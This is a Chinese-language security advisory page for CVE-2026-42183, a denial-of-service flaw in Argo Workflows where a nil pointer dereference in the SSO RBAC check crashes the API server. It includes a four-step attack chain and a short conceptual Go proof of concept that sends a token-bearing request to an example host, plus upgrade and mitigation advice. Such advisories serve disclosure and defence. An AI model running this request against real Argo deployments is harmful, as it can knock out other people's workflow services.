IPBUF安全漏洞报告
English
CVE-2026-42183 CVSS 6.5 中危

CVE-2026-42183 Argo Workflows拒绝服务漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-42183
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Argo Workflows

相关标签

拒绝服务DoSArgo WorkflowsKubernetes空指针解引用CVE-2026-42183

漏洞概述

Argo Workflows是一个开源的容器原生工作流引擎,用于在Kubernetes上编排并行作业。在4.0.0至4.0.5之前的版本中,当设置SSO_DELEGATE_RBAC_TO_NAMESPACE=true时,server/auth/gatekeeper.go中的rbacAuthorization()函数存在空指针解引用漏洞。如果SSO用户的声明匹配命名空间级别的RBAC规则,但不匹配SSO命名空间规则,将导致服务发生Panic,从而引发拒绝服务。该问题已在4.0.5版本中修复。

技术细节

该漏洞的根源在于Argo Workflows处理SSO身份验证和RBAC授权时的逻辑缺陷。具体而言,当启用SSO_DELEGATE_RBAC_TO_NAMESPACE选项时,系统会将RBAC权限委托给命名空间处理。在server/auth/gatekeeper.go文件的rbacAuthorization()函数中,代码未能妥善处理特定的边界情况:当SSO用户的声明恰好满足命名空间级别的RBAC规则,但又不满足SSO特定的命名空间规则时,程序会尝试访问一个未初始化(nil)的对象指针。由于缺少空值检查,这导致了运行时Panic。在Go语言中,未捕获的Panic会导致服务线程崩溃,进而导致整个Argo API服务不可用,攻击者可利用此低权限账户中断工作流执行。

攻击链分析

STEP 1
侦察
攻击者扫描并识别暴露在互联网上的Argo Workflows服务,确认其版本在4.0.0到4.0.5之间,并启用了SSO登录。
STEP 2
获取凭证
攻击者注册或获取一个合法的低权限SSO用户账户。
STEP 3
触发漏洞
攻击者使用该账户的Token发送API请求。由于Token中的Claims满足特定条件(匹配命名空间RBAC但不匹配SSO规则),请求到达gatekeeper.go的rbacAuthorization()函数。
STEP 4
拒绝服务
服务器在处理请求时触发空指针解引用,导致主进程Panic并崩溃,服务停止响应,造成DoS。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC: Triggering the nil pointer dereference // This requires a configured Argo Workflows instance with SSO enabled // and SSO_DELEGATE_RBAC_TO_NAMESPACE set to true. package main import ( "fmt" "net/http" "strings" ) func main() { // Scenario: An attacker has a low-privilege SSO token. // The user's groups match a Namespace-level RoleBinding, // but do not match the specific SSO namespace restrictions. // Malicious/Trigger Request Header // Authorization: Bearer <token_with_specific_claims> url := "https://argo-workflows.example.com/api/v1/workflows" req, _ := http.NewRequest("GET", url, nil) // The token must contain claims that trigger the specific path in rbacAuthorization() // where it expects a non-nil object that turns out to be nil. req.Header.Set("Authorization", "Bearer <SSO_TOKEN>") client := &http.Client{} resp, err := client.Do(req) if err != nil { // Expecting connection reset or EOF due to server panic fmt.Println("[+] Potential Crash detected:", err) return } defer resp.Body.Close() if resp.StatusCode == 500 || resp.StatusCode == 503 { fmt.Println("[+] Server returned error status, possible DoS") } }

影响范围

Argo Workflows >= 4.0.0, < 4.0.5

防御指南

临时缓解措施
在无法立即升级的情况下,建议暂时将SSO_DELEGATE_RBAC_TO_NAMESPACE配置设置为false,以规避触发该漏洞的代码路径,但这可能会影响部分RBAC委托功能的使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表